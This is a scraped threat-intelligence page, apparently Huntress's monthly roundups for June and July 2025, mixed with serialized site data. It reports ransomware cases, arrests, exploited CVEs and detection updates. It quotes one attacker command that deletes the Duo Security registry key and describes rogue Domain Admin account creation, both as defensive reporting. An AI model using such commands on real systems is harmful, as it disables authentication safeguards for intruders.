A harsh reminder of ransomware's devastating impact is the collapse of Einhaus-Gruppe, a major phone repair and insurance firm. It was hit by the Royal hack group and paid about $230,000 in ransom. After making the payment, Einhaus-Gruppe was forced to cut their workforce from 170 employees to eight despite drastic measures like selling property and liquidating investments, calling attention to the financial and operational ruin of these attacks even if ransom demands are met.

Meanwhile, the cross-platform Anubis ransomware is emerging as a dual threat. The ransomware infects both Android and Windows devices to encrypt files while stealing credentials. It is often distributed via phishing or malicious apps, posing significant risks to individual users and enterprises alike. This ransomware strain has introduced a new wiper feature that remotely wipes systems if the ransom is not paid. This will be introduced in additional ransomware families in the future and emphasizes the need for robust backup systems and post-incident isolation steps.

\n","Ransomware Drops","

Ransomware groups, ransomware-as-a-service (RaaS), and nation-state ransomware groups are collectively pivoting faster than ever. They’re moving across industries, changing targets, developing cross-platform malware, creating new C2 platforms, and using sophisticated zero days and advanced toolkits to stay persistent at every opportunity to maximize impact. The cost of being a ransomware victim is sometimes enough to close a business, and without the proper protection, guidance, and procedures in place, any organization can be impacted.

",{"_1987":2942,"_47":2579,"_2004":32,"_2005":2943},"

In the past month, several high-profile cybersecurity busts have targeted notorious threat actors, bringing key victories for law enforcement. On July 8, the U.S. Justice Department arrested Xu Zewei, a 33-year-old Chinese national affiliated with the Ministry of State Security, for orchestrating the HAFNIUM campaign that exploited vulnerabilities in over 60,000 Microsoft Exchange servers worldwide. This campaign was the precursor to stolen COVID-19 research from multiple U.S. universities. Zewei is facing charges of wire fraud and computer damage, with up to 20 years in prison.

In mid-July, the UK's National Crime Agency arrested four young suspects, aged 17 to 20, linked to ransomware and data theft operations against major retailers, including M&S, Co-op, and Harrods. They’re being charged under the Computer Misuse Act and for blackmail. This arrest included alleged members of the Scattered Spider (UNC3944) group, and has momentarily shut down their phishing and ransomware campaigns against North American sectors. This group used tactics like push bombing and Raccoon Stealer malware, and several copycat operations continue to cause problems.

And finally, towards the end of July, Operation Checkmate, a collaborative effort involving U.S. agencies, Europol, and other international partners, seized the .onion extortion sites of the BlackSuit ransomware group. This disrupted their data leak and negotiation platforms, though the actors announced they may reemerge under the Chaos brand. Authorities stated that this was part of a multiple-phase takedown, with additional arrests and takedowns scheduled to occur in the next couple of months.

","

These takedowns emphasize the growing momentum in international cyber law enforcement, urging cybersecurity professionals to remain vigilant against these threats. The draw to cybercrime is growing, especially among younger individuals dealing with economic struggles, susceptible to social media recruiting, and tempted by the high-risk, high-reward payouts. This has caused law enforcement agencies to shift gears and target groups faster, as well as middle markets where these payouts and data exchanges occur. We’re seeing positive impacts from these operations, particularly where the infostealer and data dumping communities are particularly volatile.

",{"_1998":2945,"_21":2946,"_2011":2954,"_2013":2070},"https://cdn.builder.io/api/v1/image/assets%2F3eb6f92aedf74f109c7b4b0897ec39a8%2F405cbf20f7bf4106be8fcba535b5cfb6",[2947,2950],{"_1987":2948,"_47":2765,"_2004":32,"_2005":2949},"

We’ve uncovered active Akira ransomware intrusions exploiting SonicWall appliances, letting adversaries bypass multi-factor authentication (MFA) and gain unauthorized access to internal networks. Using tactics similar to sophisticated ransomware groups like Akira, these threat actors swiftly pivot to domain controllers where they establish persistence by creating rogue user accounts like backupSQL with weak passwords like Password123$, and then elevating them to Domain Admins via commands like “net user” and “net group”. This chain of compromise typically results in Akira ransomware deployment and data exfiltration, with indicators of compromise being observed from malicious IPv4 addresses such as 142.252.99[.]59, 45.86.208[.]240, 77.247.126[.]239, 193.239.236[.]149, 104.238.205[.]105, 104.238.220[.]216, 193.163.194[.]7, and 194.33.45[.]155, often originating from SSL VPN logins.

$\"\"$ Visualization of the timeline of attacks

","

In the latest update to its advisory on August 6, SonicWall said it has high confidence that this recent threat activity is not connected to a zero-day flaw, but instead correlates with activity related to CVE-2024-40766, an improper access control flaw first published in August 2024 that can lead to “unauthorized resource access.” SonicWall said that many of the incidents appear to relate to migrations from sixth-generation to seventh-generation firewalls, where local user passwords were carried over during the migrations and were not reset after.

SonicWall is urging customers (who have imported configurations from Gen 6 to newer firewalls) to:

Update firmware to version 7.3.0
Reset all local user account passwords for accounts with SSL VPN access

Huntress recommends that impacted organizations rotate credentials—both local user account and LDAP account passwords used for Active Directory integration—out of an abundance of caution. We recommend that organizations stay vigilant as we continue to investigate this threat activity.

",{"_1987":2951,"_47":2952,"_2004":32,"_2005":2953},"

We saw active exploitation of Wing FTP Server remote code execution (CVE-2025-47812) in a customer environment on July 1, one day after public disclosure.

CVE-2025-47812 is a null byte and Lua injection flaw that leads to root/SYSTEM-level remote code execution if exploited. The vulnerability was first publicly disclosed on June 30 by Julien Ahrens in versions prior to 7.4.4 of the Wing FTP Server, its file transfer protocol software for Windows, Linux, and macOS. Organizations running Wing FTP Server should update to the fixed version, version 7.4.4, as soon as possible.

$\"\"$ WingFTP RCE exploitation (CVE-2025-47812) seen in the process tree

","Wing FTP Server Remote Code Execution (CVE-2025-47812) Exploited in the Wild","

Even though we’ve only seen CVE-2025-47812 exploitation activity on one customer, we suggest updating to version 7.4.4 ASAP to minimize vulnerable exposures.

","

Here are some examples of Rapid Responses that we’ve handled in the last month:

",{"_1998":2945,"_21":2956,"_2011":2780,"_2013":2059},[2957,2960,2962,2964],{"_1987":2958,"_47":2959,"_2005":422},"

This past month, the Detection Engineering team deployed 85 new detection rules. These additions are strategically designed to identify emerging attack methodologies that could impact organizational operations. The focus included crucial visibility into:

Hack Tools & Initial Access: Detecting various hack tools and their execution, suspicious PowerShell activity related to ClickFix initial access, rogue RMM installations, and malicious script execution from common entry points like archives in temporary folders.
Privilege Escalation & Defense Evasion: Uncovering attempts to escalate privileges, abuse service permissions to hide activity, tamper with event logs, or use encoded commands to bypass defenses on both Windows and Linux systems.
Ransomware & Malware Activity: Identifying patterns associated with known ransomware families, typical malware payload execution, and suspicious processes that indicate active infections.
Data Exfiltration & Command and Control: Spotting unauthorized data transfers to suspicious platforms and network connections that might indicate adversary communication channels.
SharePoint CVE-2025-49706 + CVE-2025-49704: Detects in-the-wild exploitation of SharePoint servers, which drops a webshell to export machine keys.

Additionally, 157 existing detection rules underwent meticulous review and refinement. Key improvements included:

Refining Initial Access Detections: Sharpening our ability to identify suspicious PowerShell execution from the registry, encoded PowerShell download activity, and various forms of suspicious execution originating from common user actions.
Strengthening Active Directory & Authentication Monitoring: Enhancing detections for Active Directory user backdoors, suspicious VPN authentications (especially with generic accounts), and unusual login patterns that could indicate compromised credentials.
Improving Defense Evasion & Persistence Detection: Boosting our capabilities to identify malicious service creation, modifications to system services, and the use of legitimate tools in suspicious ways to establish persistence or evade defenses.
Enhancing Lateral Movement & Reconnaissance Insights: Tuning rules to better detect internal network reconnaissance (e.g., domain discovery commands, user enumeration), lateral movement attempts, and the use of remote access tools in unusual locations.

","New Detection Rules",{"_1987":2961,"_47":48,"_2005":422},"

Windows

Akira win: Akira is a major threat in the ransomware landscape, and recently Huntress Managed EDR scored a major win by successfully preventing Akira from encrypting a host. The automated protection built into the agent defended against multiple attempts until an analyst was able to isolate the host. The SOC was also able to pull artifacts from the ransomware - which we can now use to better refine our behavior detection efforts.

Bonus: If the customer had had SIEM installed, we would have been alerted 10 minutes earlier - demonstrating how SIEM helps neutralize threats earlier in the attack chain to give a leg up over attackers!

macOS

Expanded macOS Foothold Support: Foothold support for macOS has been expanded to cover the latest persistence technology and older mechanisms used by Mac malware, preventing evasion of Huntress detection.

",{"_1987":2963,"_47":69,"_2005":422},"

Save and Schedule Searches

SIEM customers can now save queries and schedule them to run on a recurring basis. The results will be automatically emailed - this makes it easy to monitor key data without any additional manual effort.

Added support and detection logic

SIEM has added support for Cisco ASA (Adaptive Security Appliance) and Cisco Firepower Threat Defense as log sources. This will enable deeper visibility and streamlined analysis of network security events.

Additionally, FortiGate detection logic has been enhanced to support non-CEF formatted logs - allowing broader compatibility and more accurate parsing.

Successful brute force detection

A new VPN brute force detection is being tuned and has already caught \"bad stuff\" in testing, with brute force attack hunted down by our SOC.

",{"_1987":2965,"_47":1202,"_2005":422},"

Spearphishing simulation now in GA

Building upon our new Threat Simulator capability, we have released a new Spearphishing Simulation to the public, as an extension to August’s Managed Learning. The first simulation on OSINT was well received, and this new spearphishing simulation is no different. 93% of early participants said they gained new knowledge about hackers through the simulation.

Other updates

The SAT team also released Together Mode Learning - a new feature enabling admins to bring learners together in person (or through a screen-share virtual session) to complete security awareness training sessions together. Admins can also mark everyone as completed in the portal.

The team unveiled a new capability to the Learner models allowing us to associate more than one email with a single learner.

Finally, gradual rollout of SCIM support for learners is underway. Current partners and customers can reach out to their Huntress Account Manager if they are interested in joining the Beta.

",{"_1998":2945,"_21":2967,"_2011":2045,"_2013":2080},[2968,2970],{"_1987":2969,"_47":515,"_2005":422},"

This month’s Tradecraft Tuesday was a fun one: it centered around Hacking on Hollywood. Greg Linares, Matt Kiely, and John Hyland talked about the most accurate - and the worst - hacking scenes in popular film and TV shows.

$\"\"$

Haven’t signed up for our Tradecraft Tuesday series? Register here to check out our August episode “A Journey to the Center of the Dark Web.\"

",{"_1987":2971,"_47":2244,"_2005":422},"

Greg Linares joined the renowned Darknet Diaries podcast, where he talked about everything from being the youngest hacker to be arrested in Arizona to wild tales during his time at eEye. You can listen to the podcast here.

$\"\"$

","Thu Jul 31 2025 00:00:00 GMT-0400 (Eastern Daylight Time)",{"_2085":422,"_2086":208,"_2087":219,"_47":2088,"_1724":32,"_41":2089},"july-2025",{"_1724":32},{"_1053":2977,"_19":2978,"_1056":2979},"7c3f1f67bfeb42abbfb97050a64d8717","Threat View from the Lens of Huntress Adversary Tactics: June 2025",{"_35":1716,"_1362":2980,"_1722":2985,"_1725":2986,"_1112":3070,"_1983":3072,"_1989":3073,"_1776":3074,"_19":2978,"_1993":3076,"_2081":3131,"_3132":6,"_2083":3133,"_1764":3134,"_2091":3135,"_2093":2094},[2981,2982,2983],{"_1367":631,"_1365":628},{"_1367":1678,"_1365":1370},{"_1365":2984},"June 2025",{"_1724":32},[2987,3004,3021,3038,3055],{"_1728":2988},{"_1350":1730,"_1053":1731,"_1327":1732,"_1701":2989},{"_1734":1735,"_1053":1731,"_19":1736,"_1691":1737,"_1693":1693,"_1702":6,"_1688":2990,"_1056":2991,"_1704":3000,"_1783":1784,"_1785":1735,"_1703":118,"_1786":1787,"_1788":1789,"_1790":3001,"_1792":3002,"_1803":1804},[],{"_1740":1741,"_1742":1743,"_1744":1745,"_1746":2992,"_1758":1759,"_1760":1761,"_1762":1763,"_1764":1765,"_1766":1767,"_19":1736,"_1768":1769,"_1770":1771,"_1772":1773,"_1774":1775,"_1776":2999},[2993,2995,2997],{"_1749":2994},{"_1350":1730,"_1053":1751,"_1327":1746},{"_1749":2996},{"_1350":1730,"_1053":1754,"_1327":1746},{"_1749":2998},{"_1350":1730,"_1053":1757,"_1327":1746},{"_1778":1779,"_134":1780,"_1781":6,"_171":6},{},[],{"_1794":1056,"_1795":3003,"_1801":422,"_1802":6},{"_1797":1798,"_855":1799,"_567":1800},{"_1728":3005},{"_1350":1730,"_1053":1807,"_1327":1732,"_1701":3006},{"_1734":1809,"_1053":1807,"_19":1810,"_1691":1737,"_1693":1693,"_1688":3007,"_1056":3008,"_1704":3017,"_1783":1838,"_1785":1809,"_1703":118,"_1786":1787,"_1788":1789,"_1790":3018,"_1792":3019,"_1803":1842},[],{"_1776":3009,"_1742":1816,"_19":1810,"_1817":1818,"_1758":1759,"_1746":3010,"_1762":1826,"_1770":1827,"_1764":1828,"_1766":1829,"_1740":1830,"_1831":1832,"_1772":1833,"_1760":1834,"_1768":1835,"_1774":1836},{"_171":6,"_134":1814,"_1778":1815,"_1781":6},[3011,3013,3015],{"_1749":3012},{"_1350":1730,"_1053":1751,"_1327":1746},{"_1749":3014},{"_1350":1730,"_1053":1754,"_1327":1746},{"_1749":3016},{"_1350":1730,"_1053":1757,"_1327":1746},{},[],{"_1801":422,"_1795":3020,"_1794":1056,"_1802":6},{"_1797":1798,"_855":1799,"_567":1800},{"_1728":3022},{"_1350":1730,"_1053":1845,"_1327":1732,"_1701":3023},{"_1734":1847,"_1053":1845,"_19":1848,"_1691":1737,"_1693":1693,"_1688":3024,"_1704":3025,"_1785":1847,"_1703":118,"_1786":1851,"_1788":1789,"_1790":3026,"_1792":3027,"_1783":1855,"_1056":3029,"_1803":1878},[],{},[],{"_1795":3028,"_1801":422,"_1794":1056,"_1802":6},{"_1797":1798,"_855":1799,"_567":1800},{"_1766":1857,"_1770":1858,"_1772":1859,"_1758":1759,"_1762":1860,"_1768":1861,"_1817":1862,"_1746":3030,"_1764":1870,"_1760":1871,"_19":1848,"_1776":3037,"_1740":1875,"_1774":1876,"_1742":1877},[3031,3033,3035],{"_1749":3032},{"_1350":1730,"_1053":1751,"_1327":1746},{"_1749":3034},{"_1350":1730,"_1053":1754,"_1327":1746},{"_1749":3036},{"_1350":1730,"_1053":1757,"_1327":1746},{"_1781":6,"_171":6,"_134":1873,"_1778":1874},{"_1728":3039},{"_1350":1730,"_1053":1881,"_1327":1732,"_1701":3040},{"_1734":1883,"_1053":1881,"_19":1884,"_1691":1737,"_1693":1693,"_1688":3041,"_1704":3042,"_1785":1883,"_1703":118,"_1786":1851,"_1788":1789,"_1790":3043,"_1792":3044,"_1783":1890,"_1056":3046,"_1803":1911},[],{},[],{"_1795":3045,"_1801":422,"_1794":1056,"_1802":6},{"_1797":1798,"_855":1799,"_567":1800},{"_1766":1857,"_1772":1892,"_1770":1893,"_1762":1894,"_1746":3047,"_1817":1902,"_1764":1903,"_1760":1904,"_1774":1905,"_19":1884,"_1740":1906,"_1776":3054,"_1742":1910},[3048,3050,3052],{"_1749":3049},{"_1350":1730,"_1053":1751,"_1327":1746},{"_1749":3051},{"_1350":1730,"_1053":1754,"_1327":1746},{"_1749":3053},{"_1350":1730,"_1053":1757,"_1327":1746},{"_1781":6,"_171":6,"_134":1908,"_1778":1909},{"_1728":3056},{"_1350":1730,"_1053":1946,"_1327":1732,"_1701":3057},{"_1734":1948,"_1053":1946,"_19":1949,"_1691":1737,"_1693":1693,"_1688":3058,"_1056":3059,"_1704":3066,"_1783":1970,"_1785":1971,"_1703":118,"_1786":1972,"_1788":1789,"_1790":3067,"_1792":3068,"_1803":1976},[],{"_1760":1952,"_1764":1953,"_1742":1954,"_1758":1759,"_1768":1955,"_1776":3060,"_1772":1958,"_35":1959,"_1740":1960,"_19":1949,"_1766":1961,"_1746":3061,"_1770":1967,"_1774":1968},{"_134":1949,"_1778":1957},[3062,3064],{"_1749":3063},{"_1350":1730,"_1053":1751,"_1327":1746},{"_1749":3065},{"_1350":1730,"_1053":1757,"_1327":1746},{},[],{"_1795":3069,"_1801":422,"_1794":1056,"_1802":6},{"_1797":1798,"_855":1799,"_567":1800},{"_1067":3071,"_37":1980,"_1724":6,"_1430":1981,"_134":1982},{"_136":1079,"_137":49,"_41":1979},{},{"_1987":422,"_1724":32},{"_1778":3075,"_134":2978},"Huntress SOC analysts break down June 2025 threats including a fast-moving LockBit attack, MFA targeting, Veeam CVE-2024-40711 exploitation, and a DPRK Web3 intrusion.",{"_1995":3077},[3078,3091,3097,3105,3111,3125],{"_1998":2945,"_21":3079,"_2011":3089,"_2013":3090},[3080,3083,3086],{"_1987":3081,"_47":3082,"_2005":422},"

Our SOC recently uncovered a five-minute, 40-second LockBit attack.

In June, a dentist office’s ransomware canaries were triggered for LockBit. After we tasked and reviewed the logs, we found the threat actor accessed a TeamViewer remote monitoring and management (RMM) tool to deploy the ransomware. The aS7Egd7xh.README.txt ransom note was created at 7:08 UTC, only around five minutes after the first initial access occurred at 7:02 UTC.

$\"\"$

While the average time-to-ransom is 16.88 hours, according to the Huntress 2025 Cyber Threat Report, a 10-minute attack path is alarming. This spells out why it is absolutely essential to catch attackers as early as possible in the ransomware attack path.

","A Fast-Moving LockBit Attack",{"_1987":3084,"_47":3085,"_2005":422},"

In June, Huntress encountered a threat actor attempting to disable an MFA security application, as seen in the following command:

cmd.exe /Q /c reg delete “HKLM\\Software\\Duo Security” 1> \\Windows\\Temp\\gGutd1 2>&1

The aim of deleting the Registry key through the command above is to disable Duo Security. Further analysis of the reported victim endpoints showed that Duo Security wasn’t installed on those endpoints, though it was installed on other endpoints across the victim’s infrastructure.

The threat actor likely encountered an endpoint with Duo Security or got information from an external source, like an Initial Access Broker, that Duo Security was already installed in this environment. Either way, the threat actor decided to take a “shotgun approach” for speed over stealth, attempting to delete this Registry key without first checking if Duo was installed on the endpoint.

","Threat Actors Target MFA",{"_1987":3087,"_47":3088,"_2005":422},"

Multiple businesses in June were compromised after threat actors exploited a known Veeam vulnerability (CVE-2024-40711) to remotely execute malicious commands. The unauthenticated remote code execution vulnerability was first publicly disclosed and fixed in September 2024. In October 2024, the flaw was added to the US Cybersecurity and Infrastructure Security Agency’s (CISA) Known Exploited Vulnerability (KEV) catalog, indicating that threat actors are exploiting it. Researchers previously said the Akira and Fog ransomware groups have targeted this flaw.

$\"\"$

These incidents highlight how important it is for businesses to stay current with patches. This vulnerability already has a critical-severity ranking on the CVSS 3.0 scale (9.8 out of 10). The US government and security researchers are both warning that ransomware actors are targeting this flaw, signaling the heightened importance of patching this vulnerability. Patches for the flaw have been available for nine months, but threat actors successfully exploit vulnerabilities that have been around for years, even when patches are readily available.

","Exploitation of Known Veeam Flaw (CVE-2024-40711)","

","Threats Seen in our SOC",{"_1998":2945,"_21":3092,"_2011":3096,"_2013":2035},[3093],{"_1987":3094,"_47":3095,"_2005":422},"

Tactical Response zeroes in on unknowns about initial access, root cause analysis, and timelines of adversary activity, including machines that don’t have the Huntress agent installed on them.

As seen below, the Tactical Response team uncovered various initial access vectors over the past year. In the cases investigated by the Tactical Response team (not comprehensive of all Huntress findings), the majority of initial access vectors (63.8%) were compromised VPN appliances, including malicious logins with stolen or brute-forced credentials. Exposed Remote Desktop Protocol (RDP) was another popular initial access vector, taking second place at 17.1%. Third place goes to exposed external perimeter, seen in 5.8% of all initial access vectors.

You can get a detailed breakdown on initial access vectors in this blog from Anton Ovrutsky and our Tactical Response team.

$\"\"$

","Uncovering Initial Access Vectors","

",{"_1998":2945,"_21":3098,"_2011":422,"_2013":2046},[3099,3102],{"_1987":3100,"_47":3101,"_2005":422},"

Qilin ransomware group has been one of the most active ransomware groups in the last few months, using new techniques to drive more successful initial access attempts. The most noteworthy change is their shift to using more recent Fortinet flaws for initial access. They’ve been seen actively exploiting both CVE-2024-21762 and CVE-2024-55591 across multiple victims’ environments. These attacks affect both FortiOS and Fortinet’s VPN systems and were the primary suspects in a coordinated attack across dozens of victims last month. Qilin has also made their attack system completely automated, essentially making their own vulnerability scanning toolkit or utilizing existing toolkits and integrating them with their Ransomware as a Service (RaaS) provisions.

Qilin was also seen directly targeting MSPs, with phishing attacks starting in April and continuing into June, with the sole purpose of gaining access to downstream customers en masse. Unlike previous attacks using Attacker-in-the-Middle (AiTM) toolkits like Evilginx, these current attacks abuse spoofed domains of ScreenConnect providers, often using the .ms TLD. Victims were redirected to a proxy page that sent the user’s credentials to legitimate ScreenConnect services to validate credentials.

Qilin is one of the most dangerous and prolific ransomware operators we’ve seen in the last few months because of these recent TTPs.

","Ransomware Landscape and Implosions",{"_1987":3103,"_47":3104,"_2005":422},"

A directory traversal vulnerability in SimpleHelp RMM, tracked as CVE-2024-57727, has been the initial access point for multiple ransomware groups in recent months. Most notably, the DragonForce ransomware group used the flaw within MSPs to target clients and turn a single breach into multiple compromises. In addition, Play ransomware group used this flaw to target healthcare facilities worldwide. This vulnerability highlights the current trend of attackers prioritizing “hit once, affect many” attacks, targeting supply chains, food vendors, IT support, and security vendors, and ultimately, their downstream customers and clients.

$\"\"$

The uptick in RMM exploitation, as well as other shared component attacks, is linked with ransomware groups looking to maximize profits, and their affiliates trying to quickly evade detection before exfiltrating data and ransoming victims.

","Noteworthy Vulnerabilities",{"_1998":2945,"_21":3106,"_2011":3110,"_2013":2070},[3107],{"_1987":3108,"_47":3109,"_2005":422},"

In June, Alden Schmidt, Stuart Ashenbrenner, and Jonathan Semon published a threat analysis of their investigation into a sophisticated DPRK intrusion in a macOS customer environment at a cryptocurrency foundation. Because this intrusion was (luckily) isolated to one customer, it didn’t necessarily qualify as a typical Rapid Response. But due to the incident’s complexity and our hope to keep others safe from this threat, we spun out what we’re calling a Rapid Response Lite.

Alden, Stuart, and Jon shared several unique aspects of this macOS intrusion:

The initial access phase involved an employee of a cryptocurrency firm tricked into joining a Zoom meeting with several deepfakes pretending to be senior leadership in their company
We found eight new pieces of macOS malware, including a keylogger and an infostealer
The malicious payload was deployed via process injection. This is a familiar technique for Windows, but hasn’t historically been common on macOS due to more inherent security restrictions
The intrusion is attributed to a DPRK APT group (tracked as TA444 or BlueNoroff), a state-sponsored actor known for targeting cryptocurrency companies

$\"\"$

We’ve seen macOS become a bigger target for threat actors over the past few years - especially sophisticated, state-sponsored attackers. Scrutinize meeting invites that encourage you to switch platforms or load extensions from non-official sources because this could be a potential cyberattack from a high-level attacker with advanced capabilities.

","Feeling Blue(Noroff): Inside a Sophisticated DPRK Web3 Intrusion","

Our Rapid Responses spin up when we see attackers take advantage of vulnerabilities or threats to scale up their attacks. We work with different specialized security teams across Huntress to figure out the potential impact and what new and/or novel information we can share externally. We also notify potentially impacted customers and publish a blog with all the juicy details to help the broader security ecosystem stay vigilant. Here is an example of a Rapid Response that we’ve worked on in the last month:

",{"_1998":2945,"_21":3112,"_2011":3124,"_2013":2059},[3113,3115,3117,3119,3121],{"_1987":3114,"_47":48,"_2005":422},"

macOS: XProtect Detections

This month, we announced some exciting news for our macOS users: in Huntress Managed EDR, we’ve extended our threat detection and response coverage for macOS users using both Apple’s XProtect antivirus and integration with Microsoft Defender for Endpoints for macOS. Our SOC will now monitor alerts from these sources - and will take action to neutralize attackers.

At the same time, extending Microsoft Defender to macOS allows customers to get more value out of their Defender licenses with our EDR, bringing more protection to Macs.

$\"\"$ \nHuntress Managed Security Platform with investigated XProtect alerts

Detections Engineering added 10 new detections and 22 existing detections over the last two weeks. Recent additions to Huntress EDR significantly advance our ability to stop sophisticated attacks, with a strong focus on disrupting ransomware kill chains and exposing stealthy post-exploitation activities. Our SOC is empowered by these new capabilities to deliver high-fidelity alerts.

This includes:

Expedited Detections – Swiftly Neutralizing Active Threats: Confronting Ransomware & Vulnerability Exploitation: Huntress now more effectively identifies specific ransomware strains like Qilin and detects when ransomware overwrites files with a malicious extension. We have also added critical detection for the exploitation of a recently discovered vulnerability that allows for arbitrary code execution (CVE-2025-33053).
Exposing Attacker Tools and Post-Exploitation: Our platform is now better at unmasking attacker tradecraft like the use of SharpSuccessor, a tool that exploits a known vulnerability for execution. We have also enhanced detections for malicious LOLBIN (Living off the Land Binary) abuse where legitimate system tools are used to execute malicious DLLs.

Hunting Detections – Proactively Uncovering Stealthy & Novel Attacks: Detecting Abuse of Legitimate Tools: Huntress now proactively hunts for the abuse of legitimate tools like SimpleHelp for suspicious remote access activity and the use of WinRAR to archive potentially sensitive data from shares on a server.

",{"_1987":3116,"_47":1136,"_2005":422},"

There’s a new feature just released in ITDR: identity disablement and re-enablement for Active Directory (AD) synced identities, also known as hybrid identities.

This update closes a significant gap in our containment and remediation capabilities—and it brings protection parity to the 47%+ of identities using AD sync in their Microsoft 365 configurations. Previously, these environments couldn’t fully benefit from Huntress-initiated identity containment. This is a huge deal for customers with on-prem AD using Microsoft Entra Connect, where disabling a cloud identity wasn’t enough, and was one of our most requested features. Awesome work by the ITDR team for getting this built and shipped! 🎉

$\"\"$

We also recently introduced Targeting Phishing-as-a-Service (PhaaS): A new high-priority detection for Managed ITDR identifies successful authentications originating from Flowerstorm, a newly observed Phishing-as-a-Service kit. Detecting account compromise from these advanced phishing platforms is crucial for protecting accounts from takeover.

",{"_1987":3118,"_47":69,"_2005":422},"

We have added support for Cloudflare, and Wiz alerts as HEC log sources, as well as extended retention for SIEM data: 90 days hot, and 7 YEARS cold storage!

More details about these updates can be seen on this month’s Product Lab, where you get to hear about upcoming features directly from Kyle Hanslovan, CEO and co-founder of Huntress, and Chris Bisnett, CTO and co-founder of Huntress! If you’re not watching Product Lab, you should!

$\"\"$

Additionally, in the last two weeks our Detections Engineering team recently added 7 new detections and tuned 1 existing detection. These include new high-priority detections for the Evil-WinRM tool and credential theft techniques like LSADump.

",{"_1987":3120,"_47":1202,"_2005":422},"

Threat Simulator from Huntress Managed SAT

Huntress Managed SAT this month introduced a new Threat Simulator, which allows users to interact with threats in an engaging way, almost like a game, while giving them hands-on experience with real threat actor tactics.

As covered in a recent blog post by James O’Leary on the announcement, after a month of early access, more than 24,000 learners completed the optional first Threat Simulation, which covered OSINT. It took users an average of 1.51 attempts to complete the simulation (since you can “lose”), which indicates that they were engaged enough to try again. To learn more and see a demo, check out our on-demand webinar: “Breaking Down Barriers in SAT: Introducing Huntress Threat Simulator.”

$\"\"$

",{"_1987":3122,"_47":3123,"_2005":422},"

Behavior-Based Assignments

Huntress introduced Behavior-Based Assignments, which combines Huntress Managed EDR, Huntress Managed SAT, and Huntress Managed ITDR in order to help customers identify and mitigate human risks in an organization. This capability allows businesses to provide targeted, real-time and tailored training for individual users (or across the organization) after an incident occurred - all from the Huntress platform. This can help address the risky behaviors that occurred and lower the chances of them happening again. Learn more about Behavior-Based Assignments here.

","More Product News","

We’d also like to highlight some killer new capabilities that our partners in Product Research and Product have released to mess up attackers. We can’t wait to start using this data to expand our understanding of the threat actors our customers face.

",{"_1998":2945,"_21":3126,"_2011":422,"_2013":2080},[3127,3129],{"_1987":3128,"_47":515,"_2005":422},"

This month’s June Tradecraft Tuesday centered around AI. Chris Henderson and Truman Kain talked about the varying use cases for AI, and how both defenders and threat actors can use AI.

$\"\"$

",{"_1987":3130,"_47":2244,"_2005":422},"

John Hammond joined the Research Saturday Cyberwire Daily podcast to talk about the critical Gladinet CentreStack and Triofox vulnerability (CVE-2025-30406), based on our Rapid Response from April. Here is an excerpt from the podcast:

“I think there’s been some interesting conversations that followed this, because this ViewState deserialization is… established in the information security and information technology ecosystem… so we’re kind of scratching our heads, [asking] ‘why are we still stuck with this, and are there other applications or software that have this same fault?’ So we saw some write-ups and articles from Microsoft, we saw other vendors, ConnectWise, making some changes to their ScreenConnect application, and other things to try to mitigate this, so this glaring, potentially open hole is not an attack surface for the future. And I’m glad to see and hear the industry… having the wherewithal to say ‘oh yeah, let’s get ahead of this so there’s not more damage done.’”

","Sun Jun 01 2025 00:00:00 GMT-0400 (Eastern Daylight Time)","showAdditionalResources",{"_2086":208,"_2087":219,"_47":2088,"_1724":32,"_41":2089},"june-2025",{"_1724":32},{"_1053":3137,"_19":3138,"_1056":3139},"9b8a90a89a0c4194904f72f1f8bd64a8","Threat View from the Lens of Huntress Adversary Tactics: May 2025",{"_35":1716,"_1362":3140,"_1722":3145,"_1725":3146,"_1112":3230,"_1983":3232,"_1985":3233,"_1335":3235,"_1989":3236,"_3238":-5,"_1776":3239,"_19":3138,"_1993":3242,"_2081":3297,"_2083":3298,"_1764":3299,"_2091":3300,"_2093":2094},[3141,3142,3143],{"_1367":631,"_1365":628},{"_1367":1678,"_1365":1370},{"_1365":3144},"May 2025",{"_1724":32},[3147,3164,3181,3198,3215],{"_1728":3148},{"_1350":1730,"_1053":1731,"_1327":1732,"_1701":3149},{"_1734":1735,"_1053":1731,"_19":1736,"_1691":1737,"_1693":1693,"_1702":6,"_1688":3150,"_1056":3151,"_1704":3160,"_1783":1784,"_1785":1735,"_1703":118,"_1786":1787,"_1788":1789,"_1790":3161,"_1792":3162,"_1803":1804},[],{"_1740":1741,"_1742":1743,"_1744":1745,"_1746":3152,"_1758":1759,"_1760":1761,"_1762":1763,"_1764":1765,"_1766":1767,"_19":1736,"_1768":1769,"_1770":1771,"_1772":1773,"_1774":1775,"_1776":3159},[3153,3155,3157],{"_1749":3154},{"_1350":1730,"_1053":1751,"_1327":1746},{"_1749":3156},{"_1350":1730,"_1053":1754,"_1327":1746},{"_1749":3158},{"_1350":1730,"_1053":1757,"_1327":1746},{"_1778":1779,"_134":1780,"_1781":6,"_171":6},{},[],{"_1794":1056,"_1795":3163,"_1801":422,"_1802":6},{"_1797":1798,"_855":1799,"_567":1800},{"_1728":3165},{"_1350":1730,"_1053":1807,"_1327":1732,"_1701":3166},{"_1734":1809,"_1053":1807,"_19":1810,"_1691":1737,"_1693":1693,"_1688":3167,"_1056":3168,"_1704":3177,"_1783":1838,"_1785":1809,"_1703":118,"_1786":1787,"_1788":1789,"_1790":3178,"_1792":3179,"_1803":1842},[],{"_1776":3169,"_1742":1816,"_19":1810,"_1817":1818,"_1758":1759,"_1746":3170,"_1762":1826,"_1770":1827,"_1764":1828,"_1766":1829,"_1740":1830,"_1831":1832,"_1772":1833,"_1760":1834,"_1768":1835,"_1774":1836},{"_171":6,"_134":1814,"_1778":1815,"_1781":6},[3171,3173,3175],{"_1749":3172},{"_1350":1730,"_1053":1751,"_1327":1746},{"_1749":3174},{"_1350":1730,"_1053":1754,"_1327":1746},{"_1749":3176},{"_1350":1730,"_1053":1757,"_1327":1746},{},[],{"_1801":422,"_1795":3180,"_1794":1056,"_1802":6},{"_1797":1798,"_855":1799,"_567":1800},{"_1728":3182},{"_1350":1730,"_1053":1845,"_1327":1732,"_1701":3183},{"_1734":1847,"_1053":1845,"_19":1848,"_1691":1737,"_1693":1693,"_1688":3184,"_1704":3185,"_1785":1847,"_1703":118,"_1786":1851,"_1788":1789,"_1790":3186,"_1792":3187,"_1783":1855,"_1056":3189,"_1803":1878},[],{},[],{"_1795":3188,"_1801":422,"_1794":1056,"_1802":6},{"_1797":1798,"_855":1799,"_567":1800},{"_1766":1857,"_1770":1858,"_1772":1859,"_1758":1759,"_1762":1860,"_1768":1861,"_1817":1862,"_1746":3190,"_1764":1870,"_1760":1871,"_19":1848,"_1776":3197,"_1740":1875,"_1774":